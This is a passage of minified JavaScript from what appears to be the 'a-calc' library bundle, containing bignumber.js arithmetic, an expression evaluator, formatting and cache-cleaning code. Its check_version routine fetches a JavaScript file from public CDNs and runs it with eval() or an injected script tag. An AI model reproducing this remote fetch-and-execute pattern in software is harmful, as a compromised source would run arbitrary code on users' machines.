O.clone=clone,O.ROUND_UP=0,O.ROUND_DOWN=1,O.ROUND_CEIL=2,O.ROUND_FLOOR=3,O.ROUND_HALF_UP=4,O.ROUND_HALF_DOWN=5,O.ROUND_HALF_EVEN=6,O.ROUND_HALF_CEIL=7,O.ROUND_HALF_FLOOR=8,O.EUCLID=9,O.config=O.set=function(e){var t,r;if(null!=e){if("object"!=_typeof(e))throw Error(bignumberError+"Object expected: "+e);if(e.hasOwnProperty(t="DECIMAL_PLACES")&&(intCheck(r=e[t],0,MAX,t),p=r),e.hasOwnProperty(t="ROUNDING_MODE")&&(intCheck(r=e[t],0,8,t),_=r),e.hasOwnProperty(t="EXPONENTIAL_AT")&&((r=e[t])&&r.pop?(intCheck(r[0],-MAX,0,t),intCheck(r[1],0,MAX,t),g=r[0],m=r[1]):(intCheck(r,-MAX,MAX,t),g=-(m=r<0?-r:r))),e.hasOwnProperty(t="RANGE"))if((r=e[t])&&r.pop)intCheck(r[0],-MAX,-1,t),intCheck(r[1],1,MAX,t),d=r[0],v=r[1];else{if(intCheck(r,-MAX,MAX,t),!r)throw Error(bignumberError+t+" cannot be zero: "+r);d=-(v=r<0?-r:r)}if(e.hasOwnProperty(t="CRYPTO")){if((r=e[t])!==!!r)throw Error(bignumberError+t+" not true or false: "+r);if(r){if("undefined"==typeof crypto||!crypto||!crypto.getRandomValues&&!crypto.randomBytes)throw b=!r,Error(bignumberError+"crypto unavailable");b=r}else b=r}if(e.hasOwnProperty(t="MODULO_MODE")&&(intCheck(r=e[t],0,9,t),y=r),e.hasOwnProperty(t="POW_PRECISION")&&(intCheck(r=e[t],0,MAX,t),w=r),e.hasOwnProperty(t="FORMAT")){if("object"!=_typeof(r=e[t]))throw Error(bignumberError+t+" not an object: "+r);S=r}if(e.hasOwnProperty(t="ALPHABET")){if("string"!=typeof(r=e[t])||/^.?$|[+\-.\s]|(.).*\1/.test(r))throw Error(bignumberError+t+" invalid: "+r);$="0123456789"==r.slice(0,10),E=r}}return{DECIMAL_PLACES:p,ROUNDING_MODE:_,EXPONENTIAL_AT:[g,m],RANGE:[d,v],CRYPTO:b,MODULO_MODE:y,POW_PRECISION:w,FORMAT:S,ALPHABET:E}},O.isBigNumber=function(e){if(!e||!0!==e._isBigNumber)return!1;if(!O.DEBUG)return!0;var t,r,n=e.c,o=e.e,a=e.s;e:if("[object Array]"=={}.toString.call(n)){if((1===a||-1===a)&&o>=-MAX&&o<=MAX&&o===mathfloor(o)){if(0===n[0]){if(0===o&&1===n.length)return!0;break e}if((t=(o+1)%LOG_BASE)<1&&(t+=LOG_BASE),String(n[0]).length==t){for(t=0;t<n.length;t++)if((r=n[t])<0||r>=BASE||r!==mathfloor(r))break e;if(0!==r)return!0}}}else if(null===n&&null===o&&(null===a||1===a||-1===a))return!0;throw Error(bignumberError+"Invalid BigNumber: "+e)},O.maximum=O.max=function(){return x(arguments,f.lt)},O.minimum=O.min=function(){return x(arguments,f.gt)},O.random=(o=9007199254740992,a=Math.random()*o&2097151?function(){return mathfloor(Math.random()*o)}:function(){return 8388608*(1073741824*Math.random()|0)+(8388608*Math.random()|0)},function(e){var t,r,n,o,i,s=0,c=[],l=new O(h);if(null==e?e=p:intCheck(e,0,MAX),o=mathceil(e/LOG_BASE),b)if(crypto.getRandomValues){for(t=crypto.getRandomValues(new Uint32Array(o*=2));s<o;)(i=131072*t[s]+(t[s+1]>>>11))>=9e15?(r=crypto.getRandomValues(new Uint32Array(2)),t[s]=r[0],t[s+1]=r[1]):(c.push(i%1e14),s+=2);s=o/2}else{if(!crypto.randomBytes)throw b=!1,Error(bignumberError+"crypto unavailable");for(t=crypto.randomBytes(o*=7);s<o;)(i=281474976710656*(31&t[s])+1099511627776*t[s+1]+4294967296*t[s+2]+16777216*t[s+3]+(t[s+4]<<16)+(t[s+5]<<8)+t[s+6])>=9e15?crypto.randomBytes(7).copy(t,s):(c.push(i%1e14),s+=7);s=o/7}if(!b)for(;s<o;)(i=a())<9e15&&(c[s++]=i%1e14);for(o=c[--s],e%=LOG_BASE,o&&e&&(i=POWS_TEN[LOG_BASE-e],c[s]=mathfloor(o/i)*i);0===c[s];c.pop(),s--);if(s<0)c=[n=0];else{for(n=-1;0===c[0];c.splice(0,1),n-=LOG_BASE);for(s=1,i=c[0];i>=10;i/=10,s++);s<LOG_BASE&&(n-=LOG_BASE-s)}return l.e=n,l.c=c,l}),O.sum=function(){for(var e=1,t=arguments,r=new O(t[0]);e<t.length;)r=r.plus(t[e++]);return r},r=function(){var e="0123456789";function r(e,t,r,n){for(var o,a,i=[0],s=0,c=e.length;s<c;){for(a=i.length;a--;i[a]*=t);for(i[0]+=n.indexOf(e.charAt(s++)),o=0;o<i.length;o++)i[o]>r-1&&(null==i[o+1]&&(i[o+1]=0),i[o+1]+=i[o]/r|0,i[o]%=r)}return i.reverse()}return function(n,o,a,i,s){var c,l,u,f,h,g,m,d,v=n.indexOf("."),b=p,y=_;for(v>=0&&(f=w,w=0,n=n.replace(".",""),g=(d=new O(o)).pow(n.length-v),w=f,d.c=r(toFixedPoint(coeffToString(g.c),g.e,"0"),10,a,e),d.e=d.c.length),u=f=(m=r(n,o,a,s?(c=E,e):(c=e,E))).length;0==m[--f];m.pop());if(!m[0])return c.charAt(0);if(v<0?--u:(g.c=m,g.e=u,g.s=i,m=(g=t(g,d,b,y,a)).c,h=g.r,u=g.e),v=m[l=u+b+1],f=a/2,h=h||l<0||null!=m[l+1],h=y<4?(null!=v||h)&&(0==y||y==(g.s<0?3:2)):v>f||v==f&&(4==y||h||6==y&&1&m[l-1]||y==(g.s<0?8:7)),l<1||!m[0])n=h?toFixedPoint(c.charAt(1),-b,c.charAt(0)):c.charAt(0);else{if(m.length=l,h)for(--a;++m[--l]>a;)m[l]=0,l||(++u,m=[1].concat(m));for(f=m.length;!m[--f];);for(v=0,n="";v<=f;n+=c.charAt(m[v++]));n=toFixedPoint(n,u,c.charAt(0))}return n}}(),t=function(){function e(e,t,r){var n,o,a,i,s=0,c=e.length,l=t%SQRT_BASE,u=t/SQRT_BASE|0;for(e=e.slice();c--;)s=((o=l*(a=e[c]%SQRT_BASE)+(n=u*a+(i=e[c]/SQRT_BASE|0)*l)%SQRT_BASE*SQRT_BASE+s)/r|0)+(n/SQRT_BASE|0)+u*i,e[c]=o%r;return s&&(e=[s].concat(e)),e}function t(e,t,r,n){var o,a;if(r!=n)a=r>n?1:-1;else for(o=a=0;o<r;o++)if(e[o]!=t[o]){a=e[o]>t[o]?1:-1;break}return a}function r(e,t,r,n){for(var o=0;r--;)e[r]-=o,o=e[r]<t[r]?1:0,e[r]=o*n+e[r]-t[r];for(;!e[0]&&e.length>1;e.splice(0,1));}return function(n,o,a,i,s){var c,l,u,f,h,p,_,g,m,d,v,b,y,w,S,E,$,C=n.s==o.s?1:-1,x=n.c,A=o.c;if(!(x&&x[0]&&A&&A[0]))return new O(n.s&&o.s&&(x?!A||x[0]!=A[0]:A)?x&&0==x[0]||!A?0*C:C/0:NaN);for(m=(g=new O(C)).c=[],C=a+(l=n.e-o.e)+1,s||(s=BASE,l=bitFloor(n.e/LOG_BASE)-bitFloor(o.e/LOG_BASE),C=C/LOG_BASE|0),u=0;A[u]==(x[u]||0);u++);if(A[u]>(x[u]||0)&&l--,C<0)m.push(1),f=!0;else{for(w=x.length,E=A.length,u=0,C+=2,(h=mathfloor(s/(A[0]+1)))>1&&(A=e(A,h,s),x=e(x,h,s),E=A.length,w=x.length),y=E,v=(d=x.slice(0,E)).length;v<E;d[v++]=0);$=A.slice(),$=[0].concat($),S=A[0],A[1]>=s/2&&S++;do{if(h=0,(c=t(A,d,E,v))<0){if(b=d[0],E!=v&&(b=b*s+(d[1]||0)),(h=mathfloor(b/S))>1)for(h>=s&&(h=s-1),_=(p=e(A,h,s)).length,v=d.length;1==t(p,d,_,v);)h--,r(p,E<_?$:A,_,s),_=p.length,c=1;else 0==h&&(c=h=1),_=(p=A.slice()).length;if(_<v&&(p=[0].concat(p)),r(d,p,v,s),v=d.length,-1==c)for(;t(A,d,E,v)<1;)h++,r(d,E<v?$:A,v,s),v=d.length}else 0===c&&(h++,d=[0]);m[u++]=h,d[0]?d[v++]=x[y]||0:(d=[x[y]],v=1)}while((y++<w||null!=d[0])&&C--);f=null!=d[0],m[0]||m.splice(0,1)}if(s==BASE){for(u=1,C=m[0];C>=10;C/=10,u++);k(g,a+(g.e=u+l*LOG_BASE-1)+1,i,f)}else g.e=l,g.r=+f;return g}}(),i=/^(-?)0([xbo])(?=\w[\w.]*$)/i,s=/^([^.]+)\.$/,c=/^\.([^.]+)$/,l=/^-?(Infinity|NaN)$/,u=/^\s*\+(?=[\w.])|^\s+|\s+$/g,n=function(e,t,r,n){var o,a=r?t:t.replace(u,"");if(l.test(a))e.s=isNaN(a)?null:a<0?-1:1;else{if(!r&&(a=a.replace(i,(function(e,t,r){return o="x"==(r=r.toLowerCase())?16:"b"==r?2:8,n&&n!=o?e:t})),n&&(o=n,a=a.replace(s,"$1").replace(c,"0.$1")),t!=a))return new O(a,o);if(O.DEBUG)throw Error(bignumberError+"Not a"+(n?" base "+n:"")+" number: "+t);e.s=null}e.c=e.e=null},f.absoluteValue=f.abs=function(){var e=new O(this);return e.s<0&&(e.s=1),e},f.comparedTo=function(e,t){return compare(this,new O(e,t))},f.decimalPlaces=f.dp=function(e,t){var r,n,o,a=this;if(null!=e)return intCheck(e,0,MAX),null==t?t=_:intCheck(t,0,8),k(new O(a),e+a.e+1,t);if(!(r=a.c))return null;if(n=((o=r.length-1)-bitFloor(this.e/LOG_BASE))*LOG_BASE,o=r[o])for(;o%10==0;o/=10,n--);return n<0&&(n=0),n},f.dividedBy=f.div=function(e,r){return t(this,new O(e,r),p,_)},f.dividedToIntegerBy=f.idiv=function(e,r){return t(this,new O(e,r),0,1)},f.exponentiatedBy=f.pow=function(e,t){var r,n,o,a,i,s,c,l,u=this;if((e=new O(e)).c&&!e.isInteger())throw Error(bignumberError+"Exponent not an integer: "+T(e));if(null!=t&&(t=new O(t)),i=e.e>14,!u.c||!u.c[0]||1==u.c[0]&&!u.e&&1==u.c.length||!e.c||!e.c[0])return l=new O(Math.pow(+T(u),i?e.s*(2-isOdd(e)):+T(e))),t?l.mod(t):l;if(s=e.s<0,t){if(t.c?!t.c[0]:!t.s)return new O(NaN);(n=!s&&u.isInteger()&&t.isInteger())&&(u=u.mod(t))}else{if(e.e>9&&(u.e>0||u.e<-1||(0==u.e?u.c[0]>1||i&&u.c[1]>=24e7:u.c[0]<8e13||i&&u.c[0]<=9999975e7)))return a=u.s<0&&isOdd(e)?-0:0,u.e>-1&&(a=1/a),new O(s?1/a:a);w&&(a=mathceil(w/LOG_BASE+2))}for(i?(r=new O(.5),s&&(e.s=1),c=isOdd(e)):c=(o=Math.abs(+T(e)))%2,l=new O(h);;){if(c){if(!(l=l.times(u)).c)break;a?l.c.length>a&&(l.c.length=a):n&&(l=l.mod(t))}if(o){if(0===(o=mathfloor(o/2)))break;c=o%2}else if(k(e=e.times(r),e.e+1,1),e.e>14)c=isOdd(e);else{if(0===(o=+T(e)))break;c=o%2}u=u.times(u),a?u.c&&u.c.length>a&&(u.c.length=a):n&&(u=u.mod(t))}return n?l:(s&&(l=h.div(l)),t?l.mod(t):a?k(l,w,_,undefined):l)},f.integerValue=function(e){var t=new O(this);return null==e?e=_:intCheck(e,0,8),k(t,t.e+1,e)},f.isEqualTo=f.eq=function(e,t){return 0===compare(this,new O(e,t))},f.isFinite=function(){return!!this.c},f.isGreaterThan=f.gt=function(e,t){return compare(this,new O(e,t))>0},f.isGreaterThanOrEqualTo=f.gte=function(e,t){return 1===(t=compare(this,new O(e,t)))||0===t},f.isInteger=function(){return!!this.c&&bitFloor(this.e/LOG_BASE)>this.c.length-2},f.isLessThan=f.lt=function(e,t){return compare(this,new O(e,t))<0},f.isLessThanOrEqualTo=f.lte=function(e,t){return-1===(t=compare(this,new O(e,t)))||0===t},f.isNaN=function(){return!this.s},f.isNegative=function(){return this.s<0},f.isPositive=function(){return this.s>0},f.isZero=function(){return!!this.c&&0==this.c[0]},f.minus=function(e,t){var r,n,o,a,i=this,s=i.s;if(t=(e=new O(e,t)).s,!s||!t)return new O(NaN);if(s!=t)return e.s=-t,i.plus(e);var c=i.e/LOG_BASE,l=e.e/LOG_BASE,u=i.c,f=e.c;if(!c||!l){if(!u||!f)return u?(e.s=-t,e):new O(f?i:NaN);if(!u[0]||!f[0])return f[0]?(e.s=-t,e):new O(u[0]?i:3==_?-0:0)}if(c=bitFloor(c),l=bitFloor(l),u=u.slice(),s=c-l){for((a=s<0)?(s=-s,o=u):(l=c,o=f),o.reverse(),t=s;t--;o.push(0));o.reverse()}else for(n=(a=(s=u.length)<(t=f.length))?s:t,s=t=0;t<n;t++)if(u[t]!=f[t]){a=u[t]<f[t];break}if(a&&(o=u,u=f,f=o,e.s=-e.s),(t=(n=f.length)-(r=u.length))>0)for(;t--;u[r++]=0);for(t=BASE-1;n>s;){if(u[--n]<f[n]){for(r=n;r&&!u[--r];u[r]=t);--u[r],u[n]+=BASE}u[n]-=f[n]}for(;0==u[0];u.splice(0,1),--l);return u[0]?A(e,u,l):(e.s=3==_?-1:1,e.c=[e.e=0],e)},f.modulo=f.mod=function(e,r){var n,o,a=this;return e=new O(e,r),!a.c||!e.s||e.c&&!e.c[0]?new O(NaN):!e.c||a.c&&!a.c[0]?new O(a):(9==y?(o=e.s,e.s=1,n=t(a,e,0,3),e.s=o,n.s*=o):n=t(a,e,0,y),(e=a.minus(n.times(e))).c[0]||1!=y||(e.s=a.s),e)},f.multipliedBy=f.times=function(e,t){var r,n,o,a,i,s,c,l,u,f,h,p,_,g,m,d=this,v=d.c,b=(e=new O(e,t)).c;if(!(v&&b&&v[0]&&b[0]))return!d.s||!e.s||v&&!v[0]&&!b||b&&!b[0]&&!v?e.c=e.e=e.s=null:(e.s*=d.s,v&&b?(e.c=[0],e.e=0):e.c=e.e=null),e;for(n=bitFloor(d.e/LOG_BASE)+bitFloor(e.e/LOG_BASE),e.s*=d.s,(c=v.length)<(f=b.length)&&(_=v,v=b,b=_,o=c,c=f,f=o),o=c+f,_=[];o--;_.push(0));for(g=BASE,m=SQRT_BASE,o=f;--o>=0;){for(r=0,h=b[o]%m,p=b[o]/m|0,a=o+(i=c);a>o;)r=((l=h*(l=v[--i]%m)+(s=p*l+(u=v[i]/m|0)*h)%m*m+_[a]+r)/g|0)+(s/m|0)+p*u,_[a--]=l%g;_[a]=r}return r?++n:_.splice(0,1),A(e,_,n)},f.negated=function(){var e=new O(this);return e.s=-e.s||null,e},f.plus=function(e,t){var r,n=this,o=n.s;if(t=(e=new O(e,t)).s,!o||!t)return new O(NaN);if(o!=t)return e.s=-t,n.minus(e);var a=n.e/LOG_BASE,i=e.e/LOG_BASE,s=n.c,c=e.c;if(!a||!i){if(!s||!c)return new O(o/0);if(!s[0]||!c[0])return c[0]?e:new O(s[0]?n:0*o)}if(a=bitFloor(a),i=bitFloor(i),s=s.slice(),o=a-i){for(o>0?(i=a,r=c):(o=-o,r=s),r.reverse();o--;r.push(0));r.reverse()}for((o=s.length)-(t=c.length)<0&&(r=c,c=s,s=r,t=o),o=0;t;)o=(s[--t]=s[t]+c[t]+o)/BASE|0,s[t]=BASE===s[t]?0:s[t]%BASE;return o&&(s=[o].concat(s),++i),A(e,s,i)},f.precision=f.sd=function(e,t){var r,n,o,a=this;if(null!=e&&e!==!!e)return intCheck(e,1,MAX),null==t?t=_:intCheck(t,0,8),k(new O(a),e,t);if(!(r=a.c))return null;if(n=(o=r.length-1)*LOG_BASE+1,o=r[o]){for(;o%10==0;o/=10,n--);for(o=r[0];o>=10;o/=10,n++);}return e&&a.e+1>n&&(n=a.e+1),n},f.shiftedBy=function(e){return intCheck(e,-MAX_SAFE_INTEGER,MAX_SAFE_INTEGER),this.times("1e"+e)},f.squareRoot=f.sqrt=function(){var e,r,n,o,a,i=this,s=i.c,c=i.s,l=i.e,u=p+4,f=new O("0.5");if(1!==c||!s||!s[0])return new O(!c||c<0&&(!s||s[0])?NaN:s?i:1/0);if(0==(c=Math.sqrt(+T(i)))||c==1/0?(((r=coeffToString(s)).length+l)%2==0&&(r+="0"),c=Math.sqrt(+r),l=bitFloor((l+1)/2)-(l<0||l%2),n=new O(r=c==1/0?"5e"+l:(r=c.toExponential()).slice(0,r.indexOf("e")+1)+l)):n=new O(c+""),n.c[0])for((c=(l=n.e)+u)<3&&(c=0);;)if(a=n,n=f.times(a.plus(t(i,a,u,1))),coeffToString(a.c).slice(0,c)===(r=coeffToString(n.c)).slice(0,c)){if(n.e<l&&--c,"9999"!=(r=r.slice(c-3,c+1))&&(o||"4999"!=r)){+r&&(+r.slice(1)||"5"!=r.charAt(0))||(k(n,n.e+p+2,1),e=!n.times(n).eq(i));break}if(!o&&(k(a,a.e+p+2,0),a.times(a).eq(i))){n=a;break}u+=4,c+=4,o=1}return k(n,n.e+p+1,_,e)},f.toExponential=function(e,t){return null!=e&&(intCheck(e,0,MAX),e++),C(this,e,t,1)},f.toFixed=function(e,t){return null!=e&&(intCheck(e,0,MAX),e=e+this.e+1),C(this,e,t)},f.toFormat=function(e,t,r){var n,o=this;if(null==r)null!=e&&t&&"object"==_typeof(t)?(r=t,t=null):e&&"object"==_typeof(e)?(r=e,e=t=null):r=S;else if("object"!=_typeof(r))throw Error(bignumberError+"Argument not an object: "+r);if(n=o.toFixed(e,t),o.c){var a,i=n.split("."),s=+r.groupSize,c=+r.secondaryGroupSize,l=r.groupSeparator||"",u=i[0],f=i[1],h=o.s<0,p=h?u.slice(1):u,_=p.length;if(c&&(a=s,s=c,c=a,_-=a),s>0&&_>0){for(a=_%s||s,u=p.substr(0,a);a<_;a+=s)u+=l+p.substr(a,s);c>0&&(u+=l+p.slice(a)),h&&(u="-"+u)}n=f?u+(r.decimalSeparator||"")+((c=+r.fractionGroupSize)?f.replace(new RegExp("\\d{"+c+"}\\B","g"),"$&"+(r.fractionGroupSeparator||"")):f):u}return(r.prefix||"")+n+(r.suffix||"")},f.toFraction=function(e){var r,n,o,a,i,s,c,l,u,f,p,g,m=this,d=m.c;if(null!=e&&(!(c=new O(e)).isInteger()&&(c.c||1!==c.s)||c.lt(h)))throw Error(bignumberError+"Argument "+(c.isInteger()?"out of range: ":"not an integer: ")+T(c));if(!d)return new O(m);for(r=new O(h),u=n=new O(h),o=l=new O(h),g=coeffToString(d),i=r.e=g.length-m.e-1,r.c[0]=POWS_TEN[(s=i%LOG_BASE)<0?LOG_BASE+s:s],e=!e||c.comparedTo(r)>0?i>0?r:u:c,s=v,v=1/0,c=new O(g),l.c[0]=0;f=t(c,r,0,1),1!=(a=n.plus(f.times(o))).comparedTo(e);)n=o,o=a,u=l.plus(f.times(a=u)),l=a,r=c.minus(f.times(a=r)),c=a;return a=t(e.minus(n),o,0,1),l=l.plus(a.times(u)),n=n.plus(a.times(o)),l.s=u.s=m.s,p=t(u,o,i*=2,_).minus(m).abs().comparedTo(t(l,n,i,_).minus(m).abs())<1?[u,o]:[l,n],v=s,p},f.toNumber=function(){return+T(this)},f.toPrecision=function(e,t){return null!=e&&intCheck(e,1,MAX),C(this,e,t,2)},f.toString=function(e){var t,n=this,o=n.s,a=n.e;return null===a?o?(t="Infinity",o<0&&(t="-"+t)):t="NaN":(null==e?t=a<=g||a>=m?toExponential(coeffToString(n.c),a):toFixedPoint(coeffToString(n.c),a,"0"):10===e&&$?t=toFixedPoint(coeffToString((n=k(new O(n),p+a+1,_)).c),n.e,"0"):(intCheck(e,2,E.length,"Base"),t=r(toFixedPoint(coeffToString(n.c),a,"0"),10,e,o,!0)),o<0&&n.c[0]&&(t="-"+t)),t},f.valueOf=f.toJSON=function(){return T(this)},f._isBigNumber=!0,f[Symbol.toStringTag]="BigNumber",f[Symbol.for("nodejs.util.inspect.custom")]=f.valueOf,null!=e&&O.set(e),O}function bitFloor(e){var t=0|e;return e>0||e===t?t:t-1}function coeffToString(e){for(var t,r,n=1,o=e.length,a=e[0]+"";n<o;){for(t=e[n++]+"",r=LOG_BASE-t.length;r--;t="0"+t);a+=t}for(o=a.length;48===a.charCodeAt(--o););return a.slice(0,o+1||1)}function compare(e,t){var r,n,o=e.c,a=t.c,i=e.s,s=t.s,c=e.e,l=t.e;if(!i||!s)return null;if(r=o&&!o[0],n=a&&!a[0],r||n)return r?n?0:-s:i;if(i!=s)return i;if(r=i<0,n=c==l,!o||!a)return n?0:!o^r?1:-1;if(!n)return c>l^r?1:-1;for(s=(c=o.length)<(l=a.length)?c:l,i=0;i<s;i++)if(o[i]!=a[i])return o[i]>a[i]^r?1:-1;return c==l?0:c>l^r?1:-1}function intCheck(e,t,r,n){if(e<t||e>r||e!==mathfloor(e))throw Error(bignumberError+(n||"Argument")+("number"==typeof e?e<t||e>r?" out of range: ":" not an integer: ":" not a primitive number: ")+String(e))}function isOdd(e){var t=e.c.length-1;return bitFloor(e.e/LOG_BASE)==t&&e.c[t]%2!=0}function toExponential(e,t){return(e.length>1?e.charAt(0)+"."+e.slice(1):e)+(t<0?"e":"e+")+t}function toFixedPoint(e,t,r){var n,o;if(t<0){for(o=r+".";++t;o+=r);e=o+e}else if(++t>(n=e.length)){for(o=r,t-=n;--t;o+=r);e+=o}else t<n&&(e=e.slice(0,t)+"."+e.slice(t));return e}var BigNumber=clone();function eval_postfix(e){for(var t=[];e.length>0;){var r=e.shift();if(is_operator(r)){if(t.length<2)throw new Error("错误的栈长度, 可能是无法计算的表达式");var n=t.pop(),o=t.pop(),a=o+r+n;if(a in cache_eval){t.push(cache_eval[a].value),cache_eval[a].last_time=(new Date).getTime(),cache_eval[a].count++;continue}if("string"==typeof n&&!BigNumber.isBigNumber(n)){if(!is_str_number(n))throw new Error("".concat(n,"不是一个合法的数字"));n=new BigNumber(n)}if("string"==typeof o&&!BigNumber.isBigNumber(o)){if(!is_str_number(o))throw new Error("".concat(o,"不是一个合法的数字"));o=new BigNumber(o)}switch(r){case"+":var i=cache_eval[a]={last_time:(new Date).getTime(),count:0,value:o.plus(n)};t.push(i.value);break;case"-":var s=cache_eval[a]={last_time:(new Date).getTime(),count:0,value:o.minus(n)};t.push(s.value);break;case"*":var c=cache_eval[a]={last_time:(new Date).getTime(),count:0,value:o.times(n)};t.push(c.value);break;case"/":var l=cache_eval[a]={last_time:(new Date).getTime(),count:0,value:o.div(n)};t.push(l.value);break;case"%":var u=cache_eval[a]={last_time:(new Date).getTime(),count:0,value:o.mod(n)};t.push(u.value);break;case"**":var f=cache_eval[a]={last_time:(new Date).getTime(),count:0,value:o.pow(n)};t.push(f.value)}}else t.push(r)}if(1!==t.length)throw"unvalid expression";var h=t[0];if((h=BigNumber.isBigNumber(h)?h:BigNumber(h)).isNaN())throw new Error("计算结果为NaN");return h}function format(e,t){var r="";if(BigNumber.isBigNumber(e)?r=e.toFixed():"string"!=typeof e&&(r=e.toString()),"undefined"===r||"NaN"===r)return[null,{}];var n={mantissa:null,mantissa_type:null,thousands:!1,sign:!1,round:"~-",scientific:!1,fraction:!1,percent:!1,to_number:!1,to_number_string:!1};if(t.forEach((function(e){var t=e.type;if("symbol"===t){if(![">=","<=","=","<",">"].includes(e.value))throw new Error("错误的格式化参数:",e.value);n.mantissa_type=e.value}else if("to-number"===t)n.to_number=!0;else if("to-number-string"===t)n.to_number_string=!0;else if("comma"===t)n.thousands=!0;else if("number"===t)n.mantissa=e.value;else if("plus"===t)n.sign=!0;else if("round"===t)n.round=e.value;else if("fraction"===t)n.fraction=!0;else if("scientific"===t)n.scientific=!0;else{if("percent"!==t)throw new Error("错误的fmt Token");n.percent=!0}})),n.to_number)return[+parse_mantissa(r,n.mantissa_type,n.mantissa,n.round),n];if(n.scientific){var o=BigNumber(r).toExponential();return[n.sign&&!o.startsWith("-")?"+"+o:o,n]}if(n.fraction){var a=BigNumber(r).toFraction().map((function(e){return e.toFixed()})).join("/");return[n.sign&&!a.startsWith("-")?"+"+a:a,n]}return n.percent&&(r=BigNumber(r).times(100).toFixed()),not_null(n.mantissa)&&(r=parse_mantissa(r,n.mantissa_type,n.mantissa,n.round)),n.thousands&&(r=parse_thousands(r)),n.sign&&(n.to_number=!1,r.startsWith("-")||(r="+"+r)),n.percent&&(r+="%"),[r,n]}function fill_fmt_tokens(e,t){return e.map((function(e){if("var"!==e.type)return e;for(var r,n=0;n<t.length&&!not_undefined(r=get$1(t[n],e.value));n++);if(is_number(r))return{type:"number",value:r};throw new Error("错误的填充值")}))}function get_token_and_unit(e){var t=null;return e.length,{tokens:e.map((function(e){var r=split_unit_num(e.value);return null!==r.unit?(null==t&&(t=r.unit),{type:"number",value:r.num}):e})),unit:t}}var stringify$1={exports:{}};!function(e,t){function r(e,t){var r=[],n=[];return null==t&&(t=function(e,t){return r[0]===t?"[Circular ~]":"[Circular ~."+n.slice(0,r.indexOf(t)).join(".")+"]"}),function(o,a){if(r.length>0){var i=r.indexOf(this);~i?r.splice(i+1):r.push(this),~i?n.splice(i,1/0,o):n.push(o),~r.indexOf(a)&&(a=t.call(this,o,a))}else r.push(a);return null==e?a:e.call(this,o,a)}}(e.exports=function(e,t,n,o){return JSON.stringify(e,r(t,o),n)}).getSerialize=r}(stringify$1,stringify$1.exports);var stringifyExports=stringify$1.exports,stringify=getDefaultExportFromCjs(stringifyExports),_debug=!1,_important_push=!0;function close_important_push(){_important_push=!1}function open_important_push(){_important_push=!0}function open_debug(){_debug=!0}function close_debug(){_debug=!1}function get_debug_config(){return _debug}var debug_color={bg:"#ff8936",fg:"#fff",field:"#67C23A",field2:"#ee7959"},debug_style={expr:"background: ".concat(debug_color.bg,";color: ").concat(debug_color.fg,";font-weight: bold;border-radius: 4px; padding: 3px 8px;"),label1:"color: ".concat(debug_color.field,"; font-weight: bold; white-space:nowrap; overflow: hidden; text-overflow: ellipsis;"),label2:"color: ".concat(debug_color.field2,"; font-weight: bold; white-space:nowrap; overflow: hidden; text-overflow: ellipsis;"),nowrap:"white-space:nowrap; overflow: hidden; text-overflow: ellipsis;"};function calc_wrap(e,t){var r={},n={_error:"-"};return["string","number"].includes(_typeof(e))?(Array.isArray(t)||void 0===t||Object.keys(t).forEach((function(e){return e.startsWith("_")&&(n[e]=t[e])})),r=null!=t?t:{},/[a-zA-Z_$]/.test(e.toString())?void 0!==t?(r=t,calc(e,_objectSpread2(_objectSpread2({},n),r))):function(t){return calc(e,_objectSpread2(_objectSpread2({},n),t))}:calc(e,_objectSpread2(_objectSpread2({},n),r))):(r=e,function(e){return calc(e,_objectSpread2(_objectSpread2({},n),r))})}function check_version(){return _check_version.apply(this,arguments)}function _check_version(){return _check_version=_asyncToGenerator(_regeneratorRuntime().mark((function _callee(){var res,code,versions,last_version,larr,varr,script,url;return _regeneratorRuntime().wrap((function _callee$(_context){for(;;)switch(_context.prev=_context.next){case 0:if("undefined"==typeof process||"node"!==process.release.name){_context.next=19;break}if(!(parseInt(process.versions.node)>=17)){_context.next=17;break}return _context.next=4,promise_queue([fetch("https://cdn.jsdelivr.net/npm/a-calc@latest/a-calc.versions.js"),fetch("https://unpkg.com/a-calc@latest/a-calc.versions.js")]);case 4:return res=_context.sent,_context.next=7,res.text();case 7:code=_context.sent,versions=eval(code),last_version=versions.at(-1),larr=last_version.match(/(\d+)\.(\d+)\.(\d+)/),larr.shift(),larr=larr.map((function(e){return parseInt(e)})),varr=version.match(/(\d+)\.(\d+)\.(\d+)/),varr.shift(),varr=varr.map((function(e){return parseInt(e)})),(larr[0]>varr[0]||larr[0]===varr[0]&&larr[1]>varr[1]||larr[0]===varr[0]&&larr[1]===varr[1]&&larr[2]>varr[2])&&console.warn("a-calc has a new version:",last_version);case 17:_context.next=25;break;case 19:return script=document.createElement("script"),script.onload=function(){var e=a_calc_versions;if(Array.isArray(e)){var t=e.at(-1),r=t.match(/(\d+)\.(\d+)\.(\d+)/);r.shift(),r=r.map((function(e){return parseInt(e)}));var n=version.match(/(\d+)\.(\d+)\.(\d+)/);n.shift(),n=n.map((function(e){return parseInt(e)})),(r[0]>n[0]||r[0]===n[0]&&r[1]>n[1]||r[0]===n[0]&&r[1]===n[1]&&r[2]>n[2])&&console.log("%c↑↑↑ a-calc has a new version: %s ↑↑↑","color: #67C23A;",t)}},_context.next=23,test_urls(["https://cdn.jsdelivr.net/npm/a-calc@latest/a-calc.versions.js","https://unpkg.com/a-calc@latest/a-calc.versions.js"]);case 23:url=_context.sent,url?(script.src=url,document.body.appendChild(script)):script=null;case 25:case"end":return _context.stop()}}),_callee)}))),_check_version.apply(this,arguments)}function idle_cleaner(){get_debug_config()&&console.log("清理者开始运行"),globalThis.__calc_cleaner_timer||(globalThis.__calc_cleaner_timer=setInterval((function(){idle((function(){get_debug_config()&&(console.log("执行空闲清理程序, 当前缓存:"),console.log("cache_eval:",cache_eval),console.log("cache_tokens:",cache_tokens),console.log("cache_fmt_tokens:",cache_fmt_tokens));var e=Object.keys(cache_eval),t=Object.keys(cache_tokens),r=Object.keys(cache_fmt_tokens),n=(new Date).getTime();e.forEach((function(e){var t=cache_eval[e],r=n-t.last_time;t.count>10||r>=1e4&&t.count<3&&delete cache_eval[e]})),t.forEach((function(e){var t=cache_tokens[e],r=n-t.last_time;t.count>10||r>=1e4&&t.count<3&&delete cache_tokens[e]})),r.forEach((function(e){var t=cache_fmt_tokens[e],r=n-t.last_time;t.count>10||r>=1e4&&t.count<3&&delete cache_fmt_tokens[e]}))}))}),1e4))}var fastDeepEqual=function e(t,r){if(t===r)return!0;if(t&&r&&"object"==_typeof(t)&&"object"==_typeof(r)){if(t.constructor!==r.constructor)return!1;var 